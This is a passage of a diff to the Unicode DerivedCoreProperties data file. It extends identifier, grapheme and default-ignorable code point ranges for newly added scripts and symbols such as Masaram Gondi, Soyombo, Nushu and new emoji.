 11CB5..11CB6  ; XID_Continue # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06  ; XID_Continue # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; XID_Continue # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; XID_Continue # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36  ; XID_Continue # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; XID_Continue # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; XID_Continue # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; XID_Continue # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46         ; XID_Continue # Lo       MASARAM GONDI REPHA
+11D47         ; XID_Continue # Mn       MASARAM GONDI RA-KARA
+11D50..11D59  ; XID_Continue # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; XID_Continue # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; XID_Continue # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12480..12543  ; XID_Continue # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
@@ -9226,10 +9372,11 @@
 16F51..16F7E  ; XID_Continue # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F8F..16F92  ; XID_Continue # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
 16F93..16F9F  ; XID_Continue # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; XID_Continue # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; XID_Continue # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; XID_Continue # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; XID_Continue # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; XID_Continue # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; XID_Continue # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; XID_Continue # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; XID_Continue # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; XID_Continue # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; XID_Continue # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -9326,10 +9473,11 @@
 2A700..2B734  ; XID_Continue # Lo [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
 2B740..2B81D  ; XID_Continue # Lo [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
 2B820..2CEA1  ; XID_Continue # Lo [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+2CEB0..2EBE0  ; XID_Continue # Lo [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
 2F800..2FA1D  ; XID_Continue # Lo [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D
 E0100..E01EF  ; XID_Continue # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 119672
+# Total code points: 128089
 
 # ================================================
 
@@ -9339,8 +9487,8 @@
 #  + Cf (Format characters)
 #  + Variation_Selector
 #  - White_Space
-#  - FFF9..FFFB (Annotation Characters)
-#  - 0600..0605, 06DD, 070F, 08E2, 110BD (exceptional Cf characters that should be visible)
+#  - FFF9..FFFB (Annotation characters)
+#  - Prepended_Concatenation_Mark (Exceptional format characters that should be visible)
 
 00AD          ; Default_Ignorable_Code_Point # Cf       SOFT HYPHEN
 034F          ; Default_Ignorable_Code_Point # Mn       COMBINING GRAPHEME JOINER
@@ -9431,6 +9579,7 @@
 0AC7..0AC8    ; Grapheme_Extend # Mn   [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI
 0ACD          ; Grapheme_Extend # Mn       GUJARATI SIGN VIRAMA
 0AE2..0AE3    ; Grapheme_Extend # Mn   [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL
+0AFA..0AFF    ; Grapheme_Extend # Mn   [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE
 0B01          ; Grapheme_Extend # Mn       ORIYA SIGN CANDRABINDU
 0B3C          ; Grapheme_Extend # Mn       ORIYA SIGN NUKTA
 0B3E          ; Grapheme_Extend # Mc       ORIYA VOWEL SIGN AA
@@ -9459,7 +9608,8 @@
 0CCC..0CCD    ; Grapheme_Extend # Mn   [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA
 0CD5..0CD6    ; Grapheme_Extend # Mc   [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK
 0CE2..0CE3    ; Grapheme_Extend # Mn   [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL
-0D01          ; Grapheme_Extend # Mn       MALAYALAM SIGN CANDRABINDU
+0D00..0D01    ; Grapheme_Extend # Mn   [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU
+0D3B..0D3C    ; Grapheme_Extend # Mn   [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA
 0D3E          ; Grapheme_Extend # Mc       MALAYALAM VOWEL SIGN AA
 0D41..0D44    ; Grapheme_Extend # Mn   [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR
 0D4D          ; Grapheme_Extend # Mn       MALAYALAM SIGN VIRAMA
@@ -9548,7 +9698,7 @@
 1CED          ; Grapheme_Extend # Mn       VEDIC SIGN TIRYAK
 1CF4          ; Grapheme_Extend # Mn       VEDIC TONE CANDRA ABOVE
 1CF8..1CF9    ; Grapheme_Extend # Mn   [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE
-1DC0..1DF5    ; Grapheme_Extend # Mn  [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE
+1DC0..1DF9    ; Grapheme_Extend # Mn  [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW
 1DFB..1DFF    ; Grapheme_Extend # Mn   [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW
 200C          ; Grapheme_Extend # Cf       ZERO WIDTH NON-JOINER
 20D0..20DC    ; Grapheme_Extend # Mn  [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE
@@ -9658,6 +9808,15 @@
 1171D..1171F  ; Grapheme_Extend # Mn   [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA
 11722..11725  ; Grapheme_Extend # Mn   [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU
 11727..1172B  ; Grapheme_Extend # Mn   [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER
+11A01..11A06  ; Grapheme_Extend # Mn   [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A09..11A0A  ; Grapheme_Extend # Mn   [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A33..11A38  ; Grapheme_Extend # Mn   [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A3B..11A3E  ; Grapheme_Extend # Mn   [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A47         ; Grapheme_Extend # Mn       ZANABAZAR SQUARE SUBJOINER
+11A51..11A56  ; Grapheme_Extend # Mn   [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A59..11A5B  ; Grapheme_Extend # Mn   [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A8A..11A96  ; Grapheme_Extend # Mn  [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A98..11A99  ; Grapheme_Extend # Mn   [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
 11C30..11C36  ; Grapheme_Extend # Mn   [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
 11C38..11C3D  ; Grapheme_Extend # Mn   [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
 11C3F         ; Grapheme_Extend # Mn       BHAIKSUKI SIGN VIRAMA
@@ -9665,6 +9824,11 @@
 11CAA..11CB0  ; Grapheme_Extend # Mn   [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
 11CB2..11CB3  ; Grapheme_Extend # Mn   [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
 11CB5..11CB6  ; Grapheme_Extend # Mn   [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D31..11D36  ; Grapheme_Extend # Mn   [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A         ; Grapheme_Extend # Mn       MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D  ; Grapheme_Extend # Mn   [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45  ; Grapheme_Extend # Mn   [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D47         ; Grapheme_Extend # Mn       MASARAM GONDI RA-KARA
 16AF0..16AF4  ; Grapheme_Extend # Mn   [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
 16B30..16B36  ; Grapheme_Extend # Mn   [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
 16F8F..16F92  ; Grapheme_Extend # Mn   [4] MIAO TONE RIGHT..MIAO TONE BELOW
@@ -9692,7 +9856,7 @@
 E0020..E007F  ; Grapheme_Extend # Cf  [96] TAG SPACE..CANCEL TAG
 E0100..E01EF  ; Grapheme_Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256
 
-# Total code points: 1828
+# Total code points: 1901
 
 # ================================================
 
@@ -9849,6 +10013,7 @@
 0830..083E    ; Grapheme_Base # Po  [15] SAMARITAN PUNCTUATION NEQUDAA..SAMARITAN PUNCTUATION ANNAAU
 0840..0858    ; Grapheme_Base # Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN
 085E          ; Grapheme_Base # Po       MANDAIC PUNCTUATION
+0860..086A    ; Grapheme_Base # Lo  [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA
 08A0..08B4    ; Grapheme_Base # Lo  [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW
 08B6..08BD    ; Grapheme_Base # Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON
 0903          ; Grapheme_Base # Mc       DEVANAGARI SIGN VISARGA
@@ -9885,6 +10050,8 @@
 09F4..09F9    ; Grapheme_Base # No   [6] BENGALI CURRENCY NUMERATOR ONE..BENGALI CURRENCY DENOMINATOR SIXTEEN
 09FA          ; Grapheme_Base # So       BENGALI ISSHAR
 09FB          ; Grapheme_Base # Sc       BENGALI GANDA MARK
+09FC          ; Grapheme_Base # Lo       BENGALI LETTER VEDIC ANUSVARA
+09FD          ; Grapheme_Base # Po       BENGALI ABBREVIATION SIGN
 0A03          ; Grapheme_Base # Mc       GURMUKHI SIGN VISARGA
 0A05..0A0A    ; Grapheme_Base # Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU
 0A0F..0A10    ; Grapheme_Base # Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI
@@ -10227,6 +10394,7 @@
 1CEE..1CF1    ; Grapheme_Base # Lo   [4] VEDIC SIGN HEXIFORM LONG ANUSVARA..VEDIC SIGN ANUSVARA UBHAYATO MUKHA
 1CF2..1CF3    ; Grapheme_Base # Mc   [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA
 1CF5..1CF6    ; Grapheme_Base # Lo   [2] VEDIC SIGN JIHVAMULIYA..VEDIC SIGN UPADHMANIYA
+1CF7          ; Grapheme_Base # Mc       VEDIC SIGN ATIKRAMA
 1D00..1D2B    ; Grapheme_Base # L&  [44] LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
 1D2C..1D6A    ; Grapheme_Base # Lm  [63] MODIFIER LETTER CAPITAL A..GREEK SUBSCRIPT SMALL LETTER CHI
 1D6B..1D77    ; Grapheme_Base # L&  [13] LATIN SMALL LETTER UE..LATIN SMALL LETTER TURNED G
@@ -10297,7 +10465,7 @@
 208D          ; Grapheme_Base # Ps       SUBSCRIPT LEFT PARENTHESIS
 208E          ; Grapheme_Base # Pe       SUBSCRIPT RIGHT PARENTHESIS
 2090..209C    ; Grapheme_Base # Lm  [13] LATIN SUBSCRIPT SMALL LETTER A..LATIN SUBSCRIPT SMALL LETTER T
-20A0..20BE    ; Grapheme_Base # Sc  [31] EURO-CURRENCY SIGN..LARI SIGN
+20A0..20BF    ; Grapheme_Base # Sc  [32] EURO-CURRENCY SIGN..BITCOIN SIGN
 2100..2101    ; Grapheme_Base # So   [2] ACCOUNT OF..ADDRESSED TO THE SUBJECT
 2102          ; Grapheme_Base # L&       DOUBLE-STRUCK CAPITAL C
 2103..2106    ; Grapheme_Base # So   [4] DEGREE CELSIUS..CADA UNA
@@ -10371,8 +10539,7 @@
 239B..23B3    ; Grapheme_Base # Sm  [25] LEFT PARENTHESIS UPPER HOOK..SUMMATION BOTTOM
 23B4..23DB    ; Grapheme_Base # So  [40] TOP SQUARE BRACKET..FUSE
 23DC..23E1    ; Grapheme_Base # Sm   [6] TOP PARENTHESIS..BOTTOM TORTOISE SHELL BRACKET
-23E2..23FE    ; Grapheme_Base # So  [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL
-2400..2426    ; Grapheme_Base # So  [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO
+23E2..2426    ; Grapheme_Base # So  [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO
 2440..244A    ; Grapheme_Base # So  [11] OCR HOOK..OCR DOUBLE BACKSLASH
 2460..249B    ; Grapheme_Base # No  [60] CIRCLED DIGIT ONE..NUMBER TWENTY FULL STOP
 249C..24E9    ; Grapheme_Base # So  [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z
@@ -10458,7 +10625,7 @@
 2B76..2B95    ; Grapheme_Base # So  [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
 2B98..2BB9    ; Grapheme_Base # So  [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
 2BBD..2BC8    ; Grapheme_Base # So  [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
-2BCA..2BD1    ; Grapheme_Base # So   [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+2BCA..2BD2    ; Grapheme_Base # So   [9] TOP HALF BLACK CIRCLE..GROUP MARK
 2BEC..2BEF    ; Grapheme_Base # So   [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS
 2C00..2C2E    ; Grapheme_Base # L&  [47] GLAGOLITIC CAPITAL LETTER AZU..GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
 2C30..2C5E    ; Grapheme_Base # L&  [47] GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
@@ -10523,7 +10690,7 @@
 2E40          ; Grapheme_Base # Pd       DOUBLE HYPHEN
 2E41          ; Grapheme_Base # Po       REVERSED COMMA
 2E42          ; Grapheme_Base # Ps       DOUBLE LOW-REVERSED-9 QUOTATION MARK
-2E43..2E44    ; Grapheme_Base # Po   [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+2E43..2E49    ; Grapheme_Base # Po   [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA
 2E80..2E99    ; Grapheme_Base # So  [26] CJK RADICAL REPEAT..CJK RADICAL RAP
 2E9B..2EF3    ; Grapheme_Base # So  [89] CJK RADICAL CHOKE..CJK RADICAL C-SIMPLIFIED TURTLE
 2F00..2FD5    ; Grapheme_Base # So [214] KANGXI RADICAL ONE..KANGXI RADICAL FLUTE
@@ -10575,7 +10742,7 @@
 30FB          ; Grapheme_Base # Po       KATAKANA MIDDLE DOT
 30FC..30FE    ; Grapheme_Base # Lm   [3] KATAKANA-HIRAGANA PROLONGED SOUND MARK..KATAKANA VOICED ITERATION MARK
 30FF          ; Grapheme_Base # Lo       KATAKANA DIGRAPH KOTO
-3105..312D    ; Grapheme_Base # Lo  [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH
+3105..312E    ; Grapheme_Base # Lo  [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE
 3131..318E    ; Grapheme_Base # Lo  [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE
 3190..3191    ; Grapheme_Base # So   [2] IDEOGRAPHIC ANNOTATION LINKING MARK..IDEOGRAPHIC ANNOTATION REVERSE MARK
 3192..3195    ; Grapheme_Base # No   [4] IDEOGRAPHIC ANNOTATION ONE MARK..IDEOGRAPHIC ANNOTATION FOUR MARK
@@ -10597,7 +10764,7 @@
 3300..33FF    ; Grapheme_Base # So [256] SQUARE APAATO..SQUARE GAL
 3400..4DB5    ; Grapheme_Base # Lo [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
 4DC0..4DFF    ; Grapheme_Base # So  [64] HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
-4E00..9FD5    ; Grapheme_Base # Lo [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5
+4E00..9FEA    ; Grapheme_Base # Lo [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA
 A000..A014    ; Grapheme_Base # Lo  [21] YI SYLLABLE IT..YI SYLLABLE E
 A015          ; Grapheme_Base # Lm       YI SYLLABLE WU
 A016..A48C    ; Grapheme_Base # Lo [1143] YI SYLLABLE BIT..YI SYLLABLE YYR
@@ -10871,7 +11038,7 @@
 102E1..102FB  ; Grapheme_Base # No  [27] COPTIC EPACT DIGIT ONE..COPTIC EPACT NUMBER NINE HUNDRED
 10300..1031F  ; Grapheme_Base # Lo  [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS
 10320..10323  ; Grapheme_Base # No   [4] OLD ITALIC NUMERAL ONE..OLD ITALIC NUMERAL FIFTY
-10330..10340  ; Grapheme_Base # Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA
+1032D..10340  ; Grapheme_Base # Lo  [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA
 10341         ; Grapheme_Base # Nl       GOTHIC LETTER NINETY
 10342..10349  ; Grapheme_Base # Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL
 1034A         ; Grapheme_Base # Nl       GOTHIC LETTER NINE HUNDRED
@@ -11062,6 +11229,19 @@
 118E0..118E9  ; Grapheme_Base # Nd  [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
 118EA..118F2  ; Grapheme_Base # No   [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
 118FF         ; Grapheme_Base # Lo       WARANG CITI OM
+11A00         ; Grapheme_Base # Lo       ZANABAZAR SQUARE LETTER A
+11A07..11A08  ; Grapheme_Base # Mc   [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A0B..11A32  ; Grapheme_Base # Lo  [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A39         ; Grapheme_Base # Mc       ZANABAZAR SQUARE SIGN VISARGA
+11A3A         ; Grapheme_Base # Lo       ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3F..11A46  ; Grapheme_Base # Po   [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A50         ; Grapheme_Base # Lo       SOYOMBO LETTER A
+11A57..11A58  ; Grapheme_Base # Mc   [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A5C..11A83  ; Grapheme_Base # Lo  [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A86..11A89  ; Grapheme_Base # Lo   [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A97         ; Grapheme_Base # Mc       SOYOMBO SIGN VISARGA
+11A9A..11A9C  ; Grapheme_Base # Po   [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9E..11AA2  ; Grapheme_Base # Po   [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
 11AC0..11AF8  ; Grapheme_Base # Lo  [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
 11C00..11C08  ; Grapheme_Base # Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
 11C0A..11C2E  ; Grapheme_Base # Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
@@ -11076,6 +11256,11 @@
 11CA9         ; Grapheme_Base # Mc       MARCHEN SUBJOINED LETTER YA
 11CB1         ; Grapheme_Base # Mc       MARCHEN VOWEL SIGN I
 11CB4         ; Grapheme_Base # Mc       MARCHEN VOWEL SIGN O
+11D00..11D06  ; Grapheme_Base # Lo   [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09  ; Grapheme_Base # Lo   [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30  ; Grapheme_Base # Lo  [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D46         ; Grapheme_Base # Lo       MASARAM GONDI REPHA
+11D50..11D59  ; Grapheme_Base # Nd  [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
 12000..12399  ; Grapheme_Base # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
 12400..1246E  ; Grapheme_Base # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
 12470..12474  ; Grapheme_Base # Po   [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
@@ -11102,10 +11287,11 @@
 16F50         ; Grapheme_Base # Lo       MIAO LETTER NASALIZATION
 16F51..16F7E  ; Grapheme_Base # Mc  [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
 16F93..16F9F  ; Grapheme_Base # Lm  [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
-16FE0         ; Grapheme_Base # Lm       TANGUT ITERATION MARK
+16FE0..16FE1  ; Grapheme_Base # Lm   [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
 17000..187EC  ; Grapheme_Base # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
 18800..18AF2  ; Grapheme_Base # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
-1B000..1B001  ; Grapheme_Base # Lo   [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+1B000..1B11E  ; Grapheme_Base # Lo [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2
+1B170..1B2FB  ; Grapheme_Base # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
 1BC00..1BC6A  ; Grapheme_Base # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
 1BC70..1BC7C  ; Grapheme_Base # Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
 1BC80..1BC88  ; Grapheme_Base # Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
@@ -11225,11 +11411,12 @@
 1F210..1F23B  ; Grapheme_Base # So  [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
 1F240..1F248  ; Grapheme_Base # So   [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
 1F250..1F251  ; Grapheme_Base # So   [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F260..1F265  ; Grapheme_Base # So   [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
 1F300..1F3FA  ; Grapheme_Base # So [251] CYCLONE..AMPHORA
 1F3FB..1F3FF  ; Grapheme_Base # Sk   [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
-1F400..1F6D2  ; Grapheme_Base # So [723] RAT..SHOPPING TROLLEY
+1F400..1F6D4  ; Grapheme_Base # So [725] RAT..PAGODA
 1F6E0..1F6EC  ; Grapheme_Base # So  [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
-1F6F0..1F6F6  ; Grapheme_Base # So   [7] SATELLITE..CANOE
+1F6F0..1F6F8  ; Grapheme_Base # So   [9] SATELLITE..FLYING SAUCER
 1F700..1F773  ; Grapheme_Base # So [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
 1F780..1F7D4  ; Grapheme_Base # So  [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
 1F800..1F80B  ; Grapheme_Base # So  [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
@@ -11237,21 +11424,21 @@
 1F850..1F859  ; Grapheme_Base # So  [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
 1F860..1F887  ; Grapheme_Base # So  [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
 1F890..1F8AD  ; Grapheme_Base # So  [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
-1F910..1F91E  ; Grapheme_Base # So  [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
-1F920..1F927  ; Grapheme_Base # So   [8] FACE WITH COWBOY HAT..SNEEZING FACE
-1F930         ; Grapheme_Base # So       PREGNANT WOMAN
-1F933..1F93E  ; Grapheme_Base # So  [12] SELFIE..HANDBALL
-1F940..1F94B  ; Grapheme_Base # So  [12] WILTED FLOWER..MARTIAL ARTS UNIFORM
-1F950..1F95E  ; Grapheme_Base # So  [15] CROISSANT..PANCAKES
-1F980..1F991  ; Grapheme_Base # So  [18] CRAB..SQUID
+1F900..1F90B  ; Grapheme_Base # So  [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+1F910..1F93E  ; Grapheme_Base # So  [47] ZIPPER-MOUTH FACE..HANDBALL
+1F940..1F94C  ; Grapheme_Base # So  [13] WILTED FLOWER..CURLING STONE
+1F950..1F96B  ; Grapheme_Base # So  [28] CROISSANT..CANNED FOOD
+1F980..1F997  ; Grapheme_Base # So  [24] CRAB..CRICKET
 1F9C0         ; Grapheme_Base # So       CHEESE WEDGE
+1F9D0..1F9E6  ; Grapheme_Base # So  [23] FACE WITH MONOCLE..SOCKS
 20000..2A6D6  ; Grapheme_Base # Lo [42711] CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
